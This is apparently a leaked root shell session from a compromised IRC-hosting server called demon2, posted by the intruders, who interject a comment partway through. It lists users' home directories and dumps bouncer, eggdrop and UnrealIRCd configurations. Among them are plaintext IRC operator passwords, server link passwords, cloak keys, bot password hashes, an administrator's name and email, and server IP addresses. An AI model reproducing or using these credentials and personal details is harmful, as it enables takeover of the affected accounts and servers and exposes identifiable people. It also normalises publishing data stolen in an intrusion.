Sun Apr 20 23:41:01 :User sCuZz disconnected (from 71.105.242.232)
Mon Apr 21 10:40:13 :connect from prometheus.aakretech.no
Mon Apr 21 10:40:35 :User admin logged in.
[root@demon2 log]# cd ../..
[root@demon2 bnc]# cd psybnc/probe/
[root@demon2 probe]# ls -al
total 324
drwxrwxr-x  3 bnc bnc   4096 Sep 23  2007 .
drwxr-xr-x 12 bnc bnc   4096 Apr 20 23:41 ..
drwxr-xr-x 11 bnc bnc   4096 Nov 15 18:37 psybnc
-rw-rw-r--  1 bnc bnc 312177 Aug 19  2005 psyBNC-2.3.2-7.tar.gz
[root@demon2 probe]# cd psybnc
[root@demon2 psybnc]# ls
CHANGES   help  Makefile      motd         psybnc.conf.old  SCRIPTING    TODO
config.h  key   makefile.out  psybnc       psybnc.pid       scripts      tools
COPYING   lang  makesalt      psybncchk    README           src
FAQ       log   menuconf      psybnc.conf  salt.h           targets.mak
[root@demon2 psybnc]# cat psybnc.conf
PSYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.ME=probe
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.NICK=pr0be`bnc
USER1.USER.USER=pr0be
USER1.USER.PASS==0a'6`c0x1C0P'n`N0@`p1I0M1a0F1916
USER1.USER.VHOST=g00ns.net
USER1.USER.RIGHTS=1
USER1.USER.VLINK=0
USER1.USER.AWAY=afk
USER1.USER.AWAYNICK=pr0be`bnc
USER1.USER.LOGIN=pr0be
USER1.SERVERS.SERVER1=irc.g00ns.net
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY1=#private
USER1.CHANNELS.KEY1=+1L1S2'2o2j2m2i2V353a2k2e2s
USER1.CHANNELS.ENTRY3=#exploitercode
USER1.CHANNELS.ENTRY5=#13337
USER1.CHANNELS.ENTRY6=#seminar
USER1.CHANNELS.ENTRY7=#BlackIRC
USER1.CHANNELS.ENTRY8=#Help
USER1.CHANNELS.ENTRY9=#batcave
USER1.CHANNELS.KEY9=+1G1I1T2i2e2s2d2M35
USER1.CHANNELS.ENTRY10=#20z
USER1.CHANNELS.ENTRY11=#HACK-RADIO
USER1.CHANNELS.ENTRY12=#officiallyretarded
USER1.CHANNELS.ENTRY13=#qrash
USER1.CHANNELS.ENTRY14=#seminar-private
USER1.CHANNELS.ENTRY15=#g00ns-radio
USER1.CHANNELS.ENTRY4=#illmob
USER1.CHANNELS.ENTRY2=#g00ns
USER1.CHANNELS.ENTRY16=#irclogs
USER1.CHANNELS.ENTRY0=#exopers
USER2.USER.LOGIN=probe
USER2.USER.USER=probe
USER2.USER.PASS==1L'S`v`50A1l'b0y17
USER2.USER.RIGHTS=0
USER2.USER.VLINK=0
USER2.USER.PPORT=0
USER2.USER.PARENT=0
USER2.USER.QUITTED=0
USER2.USER.DCCENABLED=1
USER2.USER.AUTOGETDCC=0
USER2.USER.AIDLE=0
USER2.USER.LEAVEQUIT=0
USER2.USER.AUTOREJOIN=1
USER2.USER.SYSMSG=1
USER2.USER.LASTLOG=0
USER2.USER.CERT=+
USER2.USER.NICK=probe
[root@demon2 psybnc]# cd log
[root@demon2 log]# ls
INFO  psybnc.log  USER1.LOG  USER1.TRL  USER2.TRL
[root@demon2 log]# head psybnc.log
Sun Sep 23 21:11:08 :Listener created :0.0.0.0 port 31337
Sun Sep 23 21:11:08 :Can't create listening sock on host * port 31337 (bind)
Sun Sep 23 21:11:08 :SSL initialized
Sun Sep 23 21:11:08 :Loading all Users..
Sun Sep 23 21:11:08 :psyBNC2.3.2-7-cBtITLdDMSNpE started (PID :9672)
Sun Sep 23 21:11:13 :User pr0be () has no server added
Sun Sep 23 21:12:43 :User pr0be () has no server added
Sun Sep 23 21:14:13 :User pr0be () has no server added
Sun Sep 23 21:14:15 :connect from fl-71-3-132-100.dhcp.embarqhsd.net
Sun Sep 23 21:14:18 :User pr0be logged in.
[root@demon2 log]# cd /home
[root@demon2 home]# cd egg
[root@demon2 egg]# ls -al
total 1076
drwx--x--x 10 egg  egg     4096 Mar 23 11:26 .
drwx--x--x 50 root root    4096 Mar 27 16:19 ..
-rw-------  1 egg  egg     6532 Apr 14 23:11 .bash_history
-rw-r--r--  1 egg  egg       24 Aug  9  2007 .bash_logout
-rw-r--r--  1 egg  egg      176 Aug  9  2007 .bash_profile
-rw-r--r--  1 egg  egg      124 Aug  9  2007 .bashrc
drwx--x--x  3 egg  egg     4096 Aug  9  2007 domains
drwxrwxr-x  3 egg  egg     4096 Apr 14 23:10 efnet
drwx------ 11 egg  egg     4096 Apr 21 14:00 eggdrop
drwxr-xr-x 10 egg  egg     4096 Aug 13  2007 eggdrop1.6.18
-rw-rw-r--  1 egg  egg  1025608 Aug 13  2007 eggdrop1.6.18.tar.gz
drwx------  2 egg  egg     4096 Aug 21  2007 .elinks
drwxrwx---  3 egg  mail    4096 Aug  9  2007 imap
drwx------  2 egg  egg     4096 Aug  9  2007 mail
lrwxrwxrwx  1 egg  egg       35 Aug  9  2007 public_html -> ./domains/egg.g00ns.net/public_html
-rw-r-----  1 egg  mail      34 Aug  9  2007 .shadow
drwx------  2 egg  egg     4096 Aug 12  2007 .ssh
[root@demon2 egg]# ls -al efnet/
total 1508
drwxrwxr-x  3 egg egg    4096 Apr 14 23:10 .
drwx--x--x 10 egg egg    4096 Mar 23 11:26 ..
drwx------  2 egg egg    4096 Mar 23 11:30 ...
-rwx------  1 egg egg 1497940 Mar 23 12:35 fight
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.bloo
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.etho
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.hacker
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.hthbot
-rw-r--r--  1 egg egg       5 Mar 23 11:51 .pid.hthbot.
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.logic
-rw-r--r--  1 egg egg       6 Apr 14 23:10 .pid.notgay
[root@demon2 egg]# ls -al eggdrop
total 1260
drwx------ 11 egg egg   4096 Apr 21 14:00 .
drwx--x--x 10 egg egg   4096 Mar 23 11:26 ..
-rwxrw-r--  1 egg egg   2277 Mar 23 00:31 boneless.botchk
-rw-------  1 egg egg   1264 Apr 21 14:00 boneless.chan
-rw-------  1 egg egg   1264 Apr 21 00:00 boneless.chan~bak
-rw-r--r--  1 egg egg  52983 Mar 23 11:36 boneless.conf
-rw-------  1 egg egg   1183 Apr 21 14:00 boneless.user
-rw-------  1 egg egg   1183 Apr 21 00:00 boneless.user~bak
drwxrwxr-x  5 egg egg   4096 Aug 13  2007 doc
lrwxrwxrwx  1 egg egg     14 Aug 13  2007 eggdrop -> eggdrop-1.6.18
-rwxr-xr-x  1 egg egg 888159 Aug 13  2007 eggdrop-1.6.18
drwxrwxr-x  3 egg egg   4096 Aug 13  2007 filesys
drwxrwxr-x  4 egg egg   4096 Aug 13  2007 help
-rwxrw-r--  1 egg egg   2272 Mar 23 00:31 keebler.botchk
-rw-------  1 egg egg   1263 Apr 21 14:00 keebler.chan
-rw-------  1 egg egg   1263 Apr 21 00:00 keebler.chan~bak
-rw-r--r--  1 egg egg  52956 Mar 23 11:32 keebler.conf
-rw-------  1 egg egg   1305 Apr 21 14:00 keebler.user
-rw-------  1 egg egg   1305 Apr 21 00:00 keebler.user~bak
drwxrwxr-x  2 egg egg   4096 Aug 13  2007 language
drwxrwxr-x  2 egg egg   4096 Apr 21 03:05 logs
lrwxrwxrwx  1 egg egg     14 Aug 13  2007 modules -> modules-1.6.18
drwxrwxr-x  2 egg egg   4096 Aug 13  2007 modules-1.6.18
drwx------  3 egg egg   4096 Aug 19  2007 netbots
-rw-r--r--  1 egg egg      6 Apr 14 23:10 pid.boneless
-rw-r--r--  1 egg egg      6 Apr 14 23:10 pid.keebler
-rw-r--r--  1 egg egg      6 Apr 14 23:10 pid.sentry
-rw-rw-r--  1 egg egg      6 Apr 14 23:09 pid.V0LTR0N
-rw-r--r--  1 egg egg  25077 Aug 13  2007 README
drwxrwxr-x  2 egg egg   4096 Mar 23 00:31 scripts
-rwxrw-r--  1 egg egg   2267 Mar 23 00:31 sentry.botchk
-rw-------  1 egg egg   1257 Apr 21 13:59 sentry.chan
-rw-------  1 egg egg   1257 Apr 21 00:00 sentry.chan~bak
-rw-r--r--  1 egg egg  52950 Mar 23 00:03 sentry.conf
-rw-------  1 egg egg   1327 Apr 21 13:59 sentry.user
-rw-------  1 egg egg   1327 Apr 21 00:00 sentry.user~bak
drwxrwxr-x  2 egg egg   4096 Aug 13  2007 text
-rw-------  1 egg egg   1415 Apr 21 14:00 v0ltr0n.chan
-rw-------  1 egg egg   1415 Apr 21 00:00 v0ltr0n.chan~bak
-rw-r--r--  1 egg egg  52890 Apr 14 23:09 v0ltr0n.conf
-rw-------  1 egg egg      0 Apr 21 14:00 v0ltr0n.notes
-rw-------  1 egg egg   1273 Apr 21 14:00 v0ltr0n.user
-rw-------  1 egg egg   1273 Apr 21 00:00 v0ltr0n.user~bak
[root@demon2 egg]# grep -v "^#" eggdrop/v0ltr0n.conf | grep -v ^$
set username "v0ltr0n"
set admin "Altaaf <email: navprod@yahoo.com>"
set network "60z.org"
set timezone "EST"
set offset "5"
set my-hostname "g00ns.net"
set my-ip "72.20.26.209"
set max-logs 5
set max-logsize 0
set quick-logs 0
set raw-log 0
logfile mco * "logs/eggdrop.log"
logfile jpk #lamest "logs/lamest.log"
set log-time 1
set keep-all-logs 0
set logfile-suffix ".%d%b%Y"
set switch-logfiles-at 300
set quiet-save 1
set console "mkcobxs"
set userfile "v0ltr0n.user"
set sort-users 0
set help-path "help/"
set text-path "text/"
set temp-path "/tmp"
set motd "text/motd"
set telnet-banner "text/banner"
set userfile-perm 0600
set botnet-nick "V0LTR0N"
listen 11800 bots
listen 11801 users
set remote-boots 2
set share-unlinks 1
set protect-telnet 0
set dcc-sanitycheck 0
set ident-timeout 5
set require-p 0
set open-telnets 0
set stealth-telnets 0
set use-telnet-banner 0
set connect-timeout 15
set dcc-flood-thr 3
set telnet-flood 5:60
set paranoid-telnet-flood 1
set resolve-timeout 15
set reserved-portrange 11820:11830
set ignore-time 15
set hourly-updates 00
set owner "Altaaf"
set notify-newusers "$owner"
set default-flags "hp"
set whois-fields "url birthday"
set die-on-sighup 0
set die-on-sigterm 1
unbind dcc n tcl *dcc:tcl
unbind dcc n set *dcc:set
set must-be-owner 1
unbind dcc n simul *dcc:simul
set max-dcc 50
set allow-dk-cmds 1
set dupwait-timeout 5
set mod-path "modules/"
loadmodule dns
loadmodule channels
set chanfile "v0ltr0n.chan"
set force-expire 0
set share-greet 0
set use-info 1
set global-flood-chan 10:60
set global-flood-deop 3:10
set global-flood-kick 3:10
set global-flood-join 5:60
set global-flood-ctcp 3:60
set global-flood-nick 5:60
set global-aop-delay 5:30
set global-idle-kick 0
set global-chanmode "nt"
set global-stopnethack-mode 0
set global-revenge-mode 0
set global-ban-time 120
set global-exempt-time 60
set global-invite-time 60
set global-chanset {
        -autoop         +autovoice
        -bitch          +cycle
        +dontkickops    +dynamicbans
        +dynamicexempts +dynamicinvites
        -enforcebans    +greet
        -inactive       -nodesynch
        -protectfriends +protectops
        -revenge        -revengebot
        -secret         -seen
        +shared         +statuslog
        +userbans       +userexempts
        +userinvites    -protecthalfops
        -autohalfop
}
loadmodule server
set net-type 5
set nick "v0ltr0n"
set altnick "v0ltr0n?"
set realname "v0ltr0n"
bind evnt - init-server evnt:init_server
proc evnt:init_server {type} {
  global botnick
  putquick "MODE $botnick +i-wsx"
}
set default-port 6667
set servers {
p.60z.org:6667
}
set keep-nick 1
set strict-host 0
set quiet-reject 1
set lowercase-ctcp 0
set answer-ctcp 3
set flood-msg 5:60
set flood-ctcp 3:60
set never-give-up 1
set server-cycle-wait 60
set server-timeout 60
set servlimit 0
set check-stoned 1
set serverror-quit 1
set max-queue-msg 300
set trigger-on-ignore 0
set exclusive-binds 0
set double-mode 1
set double-server 1
set double-help 1
set optimize-kicks 1
set stack-limit 4
loadmodule ctcp
set ctcp-mode 0
loadmodule irc
set bounce-bans 1
set bounce-exempts 0
set bounce-invites 0
set bounce-modes 0
set max-bans 100
set max-exempts 20
set max-invites 20
set max-modes 100
set kick-fun 0
set ban-fun 0
set learn-users 0
set wait-split 600
set wait-info 180
set mode-buf-length 200
unbind msg - ident *msg:ident
unbind msg - addhost *msg:addhost
set opchars "@"
set no-chanrec-info 0
set prevent-mixing 1
loadmodule transfer
set max-dloads 3
set dcc-block 0
set copy-to-tmp 1
set xfer-timeout 30
loadmodule share
loadmodule compress
set share-compressed 1
loadmodule filesys
set files-path "/home/protect/eggdrop/filesys"
set incoming-path "/home/protect/eggdrop/filesys/incoming"
set upload-to-pwd 0
set filedb-path ""
set max-file-users 20
set max-filesize 1024
loadmodule notes
set notefile "v0ltr0n.notes"
set max-notes 50
set note-life 60
set allow-fwd 0
set notify-users 1
set notify-onjoin 1
loadmodule console
set console-autosave 1
set force-channel 0
set info-party 0
loadmodule seen
loadmodule blowfish
loadmodule uptime
source scripts/alltools.tcl
source scripts/action.fix.tcl
source netbots/netbots.tcl
source scripts/http.tcl
source scripts/fsck.tcl
source scripts/news.tcl
source scripts/google.tcl
source scripts/pcheck.tcl
source scripts/dns.tcl
source scripts/movies.tcl
source scripts/userinfo.tcl
loadhelp userinfo.help
[root@demon2 egg]# cat eggdrop/v0ltr0n.user
#4v: eggdrop v1.6.18 -- V0LTR0N -- written Mon Apr 21 14:00:00 2008
boneless   - bfloN
--BOTADDR ts.g00ns.net:11800/11801
--BOTFL ghp
--HOSTS *!boneless@ts.g00ns.net
--LASTON 1198721898 #g00ns
--XTRA created 1187476753
--PASS 8bky9t3q4ey6t
sentry     - bfloN
--HOSTS *!sentry@72.20.26.211
--LASTON 1198721877 unlinked
--XTRA created 1187476804
--BOTADDR 72.20.26.211:11800/11801
--PASS f2w7bi713nyoxl
keebler    - bfloN
--HOSTS *!keebler@72.20.26.212
--LASTON 1198721898 unlinked
--XTRA created 1187476804
--BOTADDR 72.20.26.212:11800/11801
--PASS i347t6epn2
v0ltr0n    - bfloN
--HOSTS *!v0ltr0n@72.20.26.209
--LASTON 1208758936 #priv
--XTRA created 1187476804
--BOTADDR 72.20.26.209:11800/11801
--PASS gcc8k5hi44w1
Altaaf     - hjlmnoptx
--HOSTS *!blackirc@blackirc.info
--HOSTS -telnet!*@*
--LASTON 1190453133 @boneless
--PASS +GviW90Qn.aQ0
--XTRA created 1187300220
c0ma       - hjlmnoptx
--HOSTS *!*@n00b-pwner.com
--LASTON 1187920073 @boneless
--PASS +3EuN1.om33a.
--XTRA created 1187570739
::#BlackIRC bans
::#priv bans
*exempt - -
% *!*@g00ns.net:+0:+1187835633:1190601012:c0ma:requested
&&#BlackIRC exempts
&&#priv exempts
$$#BlackIRC invites
$$#priv invites

[root@demon2 egg]# ls -al eggdrop/v0ltr0n.notes
-rw------- 1 egg egg 0 Apr 21 14:00 eggdrop/v0ltr0n.notes
[root@demon2 egg]# cd eggdrop/logs/
[root@demon2 logs]# ls -al
total 84
drwxrwxr-x  2 egg egg  4096 Apr 21 03:05 .
drwx------ 11 egg egg  4096 Apr 21 14:00 ..
-rw-r--r--  1 egg egg   411 Aug 13  2007 CONTENTS
-rw-rw-r--  1 egg egg 68581 Apr 21 14:15 eggdrop.log
[root@demon2 logs]# head eggdrop.log
[03:05] @#BlackIRC (+stn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0]
[03:05] @#priv (+tn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0]
[03:05] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0]
[03:05] #g00ns (+trna) : [m/52 o/8 h/3 v/6 n/35 b/12 e/0 I/0]
[03:05] #HighTechHost (+tn) : [m/26 o/24 h/0 v/0 n/2 b/0 e/0 I/0]
[03:05] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0]
[03:05] #HighTechHost (+tn) : [m/26 o/24 h/0 v/0 n/2 b/0 e/0 I/0]
[03:05] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0]
[03:10] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0]
[03:10] #g00ns (+trna) : [m/52 o/8 h/3 v/6 n/35 b/12 e/0 I/0]
[root@demon2 logs]# tail eggdrop.log
[14:10] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0]
[14:10] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0]
[14:15] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0]
[14:15] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0]
[14:15] @#BlackIRC (+stn) : [m/1 o/1 h/0 v/0 n/0 b/0 e/0 I/0]
[14:15] @#priv (+tn) : [m/2 o/1 h/0 v/0 n/1 b/0 e/0 I/0]
[14:15] #HighTechHost (+tn) : [m/26 o/23 h/0 v/0 n/3 b/0 e/0 I/0]
[14:15] @#/bin/laden (+tn) : [m/2 o/2 h/0 v/0 n/0 b/0 e/0 I/0]
[14:15] #HighTechHost (+trna) : [m/4 o/3 h/0 v/0 n/1 b/0 e/0 I/0]
[14:15] #g00ns (+trna) : [m/57 o/10 h/3 v/10 n/34 b/12 e/0 I/0]
[root@demon2 logs]# cd ..
[root@demon2 eggdrop]# cd /home
[root@demon2 home]# cd evilcode
[root@demon2 evilcode]# ls -al
total 148
drwxr-xr-x  9 evilcode evilcode  4096 Mar 25 13:40 .
drwx--x--x 50 root     root      4096 Mar 27 16:19 ..
drwx------  2 evilcode evilcode  4096 Aug  1  2007 backups
-rw-------  1 evilcode evilcode  6456 Apr 19 11:25 .bash_history
-rw-r--r--  1 evilcode evilcode   304 Apr 29  2006 .bash_logout
-rw-r--r--  1 evilcode evilcode   191 Apr 29  2006 .bash_profile
-rw-r--r--  1 evilcode evilcode   124 Apr 29  2006 .bashrc
drwx--x--x  3 evilcode evilcode  4096 Apr 29  2006 domains
-rw-r--r--  1 evilcode evilcode   383 Apr 29  2006 .emacs
drwxrwx---  3 evilcode evilcode  4096 Aug  1  2007 imap
drwxrwxr-x  2 evilcode evilcode  4096 Aug  8  2007 index0r_img
-rw-rw-r--  1 evilcode evilcode 22825 Feb 24  2007 index.php
-rw-rw-r--  1 evilcode evilcode 51019 Feb 24  2007 i.zip
drwx------  2 evilcode evilcode  4096 Aug  1  2007 mail
drwxrwxr-x  3 evilcode evilcode  4096 Mar 25 13:44 newircd
lrwxrwxrwx  1 evilcode evilcode    36 Aug  1  2007 public_html -> ./domains/evilcoders.net/public_html
-rw-r-----  1 evilcode mail        34 Aug  7  2007 .shadow
drwx------ 13 evilcode evilcode  4096 Mar 25 13:44 Unreal3.2
[root@demon2 evilcode]# cd ../excodeirc
[root@demon2 excodeirc]# ls -al
total 65128
drwx--x--x 25 excodeirc excodeirc     4096 Apr 14 22:26 .
drwx--x--x 50 root      root          4096 Mar 27 16:19 ..
drwxrwxr-x  7 excodeirc excodeirc     4096 May 27  2006 anope-1.6.4
-rw-rw-r--  1 excodeirc excodeirc  3840000 Sep  8  2005 anope-1.6.4.tar
drwxr-xr-x  7 excodeirc excodeirc     4096 Jun 19  2007 anope-1.7.19
-rw-rw-r--  1 excodeirc excodeirc  1505639 Jun 10  2007 anope-1.7.19.tar.gz
drwxrwxr-x  2 excodeirc excodeirc     4096 Feb 10 12:47 back
drwx------  2 excodeirc excodeirc     4096 Aug  1  2007 backups
-rw-------  1 excodeirc excodeirc    11324 Apr 14 23:11 .bash_history
-rw-r--r--  1 excodeirc excodeirc      304 Apr 28  2006 .bash_logout
-rw-r--r--  1 excodeirc excodeirc      191 Apr 28  2006 .bash_profile
-rw-r--r--  1 excodeirc excodeirc      124 Apr 28  2006 .bashrc
drwxr-xr-x  4 excodeirc excodeirc     4096 Mar 25 19:58 defender
drwx--x--x  5 excodeirc excodeirc     4096 Mar 17 18:08 domains
drwxrwxr-x 10 excodeirc excodeirc     4096 Mar 22 20:57 eggdrop
drwx------  2 excodeirc excodeirc     4096 Jun 25  2007 .elinks
-rw-r--r--  1 excodeirc excodeirc      383 Apr 28  2006 .emacs
drwxr-xr-x  3 root      root          4096 Mar 22 20:56 hightechhost
drwxrwx---  5 excodeirc mail          4096 Mar 17 18:08 imap
-rw-rw-r--  1 excodeirc excodeirc 13375456 Jun 17  2007 ircbackup.tar.gz
drwxrw-r--  2 excodeirc excodeirc     4096 Jul 15  2007 .linuxcounter
-rwxr-xr-x  1 excodeirc excodeirc    36620 Jan 21  2007 machine-update
drwx------  2 excodeirc excodeirc     4096 Mar 17 18:08 mail
drwxrwxr-x  9 excodeirc excodeirc     4096 Jan 15 20:23 NeoStats3.0
-rw-rw-r--  1 excodeirc excodeirc 32491520 Sep  2  2006 neostatsbackup.tar
drwxrwxr-x  5 excodeirc excodeirc     4096 Apr 30  2006 OPSB-3.0.a3
-rw-rw-r--  1 excodeirc excodeirc  1464320 Dec 13  2005 OPSB-3.0.a3.tar
lrwxrwxrwx  1 excodeirc excodeirc       43 Aug  1  2007 public_html -> ./domains/irc.exploitercode.com/public_html
drwxr-xr-x  4 excodeirc g00ns83       4096 Nov 30 14:27 randword-3.2
drwxrwxr-x  5 excodeirc excodeirc     4096 Apr 30  2006 SecureServ-3.0.a3
-rw-rw-r--  1 excodeirc excodeirc  1904640 Dec 13  2005 SecureServ-3.0.a3.tar
drwxrwxr-x  6 excodeirc excodeirc     4096 Dec  2 17:27 services
drwxrwxr-x  7 excodeirc excodeirc     4096 Jun 19  2007 servicesnew
-rw-r-----  1 excodeirc mail            34 Sep 17  2007 .shadow
drwx------  2 excodeirc excodeirc     4096 Dec  3  2006 .ssh
drwxrwxrwx 13 excodeirc excodeirc     4096 Apr 30  2006 trunk
-rw-rw-r--  1 excodeirc excodeirc  9197056 Apr 30  2006 trunk.tar
drwx------ 13 excodeirc excodeirc     4096 Apr 14 22:26 Unreal3.2
-rw-rw-r--  1 excodeirc excodeirc  2629222 Feb 18  2007 Unreal3.2.6.tar.gz
drwx------ 13 excodeirc excodeirc     4096 Feb 10 12:43 Unrealfuck
drwx------ 13 excodeirc excodeirc     4096 Jun 17  2007 unrealold
[root@demon2 excodeirc]# head .bash_history
exit
cd
ls
cd Ur*
cd Un*
nano 0w unreal*
nano -w unreal*
nano -w unrealircd*
./unreal restart
ps ax
[root@demon2 excodeirc]# tail .bash_history
ls
cd services
ls
nano services.conf
cd /home/excodeirc
ls
cd anope-1.7.19
ls
cd /home/excodeirc
su
[root@demon2 excodeirc]# ls -al .ssh
total 12
drwx------  2 excodeirc excodeirc 4096 Dec  3  2006 .
drwx--x--x 25 excodeirc excodeirc 4096 Apr 14 22:26 ..
-rw-r--r--  1 excodeirc excodeirc  395 Dec  3  2006 known_hosts
[root@demon2 excodeirc]# cat .ssh/*
75.126.51.154 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAm215adR0bmHDNKkjOQeI/
yN0P+F95L7z5Wjcp2JSs9fy2tZjFys6QIu9Pfuy6rQdkAayiTR1xXgh7+JTIWdJOW6I8jF8
nT1tQGmf1mT9s0P8cKtIJSMit+Ld78ZO+sC7e44YUqgn01zr6P7moPLE+Q5xIrZBzu49Yuw
dzqacaLso8CnbsQDiM+gWvk7jd1Ox4PPjQYTzHX5fSxC1RrNI9GsRhb//i503HVIRLvjn1n
wO1QBtHnqEhyYJD4VDLWXDkBqBHr2OQCzu8ex1UwoJ3j/ZxPYcQ49sbDkWaUpo7LMdsxvoA
QE7igDNKDX0a2LJm2U1q7uwrwtmjYwJcKkmXw==
[root@demon2 excodeirc]# ls -al eggdrop/*.conf
-rw-r--r-- 1 excodeirc excodeirc 51580 Mar 22 20:57 eggdrop/eggdrop.conf
[root@demon2 excodeirc]# cd Unreal3.2

Don't mind us, we're gonna cut out some crap like
default comments from the unrealircd.conf


[root@demon2 Unreal3.2]# cat unrealircd.conf
loadmodule "src/modules/commands.so";
loadmodule "src/modules/cloak.so";
loadmodule "src/modules/m_getinfo.so";
loadmodule "src/modules/hideserver.so";
#loadmodule "src/modules/operpasswd.so";

include "spamfilter.conf";

me
{
        name "p.60z.org";
        info "Let the good times roll";
        numeric 12;
};

admin {
        "pr0be";
        "pr0be@g00ns.net";
};

class           clients
{
        pingfreq 180;
        maxclients 5000;
        sendq 1000000000;
        recvq 8000;
};

class           servers
{
        pingfreq 290;
        maxclients 100;         /* Max servers we can have linked at a
time */
        sendq 999999999;
        connfreq 100000; /* How many seconds between each connection
attempt */
};

oper pr0be {
  from {
    userhost "*@*";
  };
  password "spiggers666";
  class "default";
  flags {
    netadmin;
    services-admin;
    global;
    helpop;
    can_rehash
    can_globalnotice;
    can_globalroute;
    can_globops;
    can_wallops;
    can_unkline;
    can_kline;
    can_globalkill;
    can_zline;
    can_gkline;
    can_gzline;
    get_umodew;
    get_host;
    can_override;
    can_die;
    can_restart;
  };
};


oper sCuZz {
  from {
    userhost "*@*";
  };
  password "!beanerl0ve!";
  class "default";
  flags {
    netadmin;
    services-admin;
    global;
    helpop;
    can_rehash
    can_globalnotice;
    can_globalroute;
    can_globops;
    can_wallops;
    can_unkline;
    can_kline;
    can_globalkill;
    can_zline;
    can_gkline;
    can_gzline;
    get_umodew;
    get_host;
    can_override;
    can_die;
    can_restart;
  };
};


oper Genocide {
  from {
    userhost "*@*";
  };
  password "s,7B0L=QEtaS";
  class "default";
  flags {
    netadmin;
    services-admin;
    global;
    helpop;
    can_rehash
    can_globalnotice;
    can_globalroute;
    can_globops;
    can_wallops;
    can_unkline;
    can_kline;
    can_globalkill;
    can_zline;
    can_gkline;
    can_gzline;
    get_umodew;
    get_host;
    can_override;
    can_die;
    can_restart;
  };
};
allow {
        ip             *@*;
        hostname       *@*;
        class           clients;
        maxperip 15;
};

listen         72.20.26.210:6667;
listen         127.0.0.1:6667;
listen         72.20.26.210:6697 {
        options {
                ssl;
                clientsonly;
        };
};
listen         72.20.26.210:16969 {
        options {
                ssl;
                serversonly;
        };
};

except tkl {
        mask uid0@208.98.32.*;
        type {
                gline;
                gzline;
                qline;
                gqline;
                shun;
        };
};

/*
link partyvan.us.hub
{
        username        *;
        hostname       67.207.136.217 ;
        bind-ip         *;
        port            10200;
        hub             *;
        password-connect "oisdkgasdgweeab00";
        password-receive "oisdkgasdgweeab00";
        class           servers;
                options {
                 autoconnect;
#                 zip;
                ssl;
#                nohostcheck;
                };
};
link lulz.hub
{
        username        *;
        hostname        209.62.62.142;
        bind-ip         *;
        port            16969;
        hub             *;
        password-connect "blarghh65vjh97t8c7hst8";
        password-receive "blarghh65vjh97t8c7hst8";
        class           servers;
                options {
                 autoconnect;
                ssl;
};
};



link irc.evilcoders.net
{
        username        *;
        hostname        72.20.26.213;
        bind-ip         *;
        port            6667;
        hub             *;
        password-connect "dei8hw0u";
        password-receive "dei8hw0u";
        class           servers;
                options {
                 autoconnect;
#                 zip;
                 nohostcheck;
                };
};

*/
ulines {
#anonymous.services;
s.60z.org;
#partyvan.us.hub
#defender.exploitercode.net;
#irc.evilcoders.net;
#stats.exploitercode.net;
#uid0equalsroot.exploitercode.com;
};

hideserver
{

        disable-map yes;

        disable-links yes;

        map-deny-message "*** Command /map is disabled for security reasons";
        links-deny-message "*** Command /links is disabled for security reasons";

        hide
        {
                irc.exploitercode.net;
                irc.g00ns.net;
                s.60z.org;
        };
};

deny channel {
        channel "oreos";
       reason "Grow up";
};

ban nick {
        mask "PwNd-*";
        reason "bots";
};

/* Network configuration */
set {
        network-name            "goodtimes";
        default-server          "irc.exploitercode.net";
        services-server         "s.60z.org";
# stats-server            "stats.exploitercode.net";
        help-channel            "#Help";
        hiddenhost-prefix       "aintgay";
        /* prefix-quit          "no"; */
        cloak-keys {
                qofdie998H99mF97f97MF9;
                myc886C8V7tmv87tmvcM6C;
                42ZA643ZXn6745eC87r6VM;

        };
        /* on-oper host */
        hosts {
                local           "LocOp.exploitercode.net";
                global          "IRCOp.exploitercode.net";
                coadmin         "CoAdmin.exploitercode.net";
                admin           "Admin.exploitercode.net";
                servicesadmin   "CsOps.exploitercode.net";
                netadmin        "NetAdmin.exploitercode.net";
                host-on-oper-up "no";
        };
};

/* Server specific configuration */

set {
        kline-address "uid0@exploitercode.net";
        modes-on-connect "+x";
        modes-on-oper    "+xwgs";
        oper-auto-join "#spk";
        dns {
                nameserver 127.0.0.1;
                timeout 2s;
                retries 2;
        };
        options {
                hide-ulines;
                /* You can enable ident checking here if you want */
                /* identd-check; */
                show-connect-info;
        };

        maxchannelsperuser 1000000;
        /* The minimum time a user must be connected before being
allowed to use a QUIT
message,
         * This will hopefully help stop spam */
        anti-spam-quit-message-time 10s;
        oper-only-stats "okfGsMRUEelLCXzdD";

        /* Throttling: this example sets a limit of 3 connections per
60s (per host). */
        throttle {
                connections 3;
                period 60s;
        };

        /* Anti flood protection */
        anti-flood {
                nick-flood 3:60;        /* 3 nickchanges per 60 seconds
(the default) */
        };

        /* Spam filter */
        spamfilter {
                ban-time 1d; /* default duration of a *line ban set by
spamfilter */
                ban-reason "Spam/Advertising"; /* default reason */
                virus-help-channel "#help"; /* channel to use for
'viruschan' action */
                /* except "#help"; channel to exempt from filtering */

        };

};
[root@demon2 Unreal3.2]# cd ..
[root@demon2 excodeirc]# cd services
[root@demon2 services]# ls
backups  dbz.zip       hosts.db   listnicks  news.db  services       tables.sql
bot.db   example.conf  languages  logs       nick.db  services.chk
chan.db  exception.db  listchans  modules    oper.db  services.conf
[root@demon2 services]#
[root@demon2 services]# cd /home/felosi
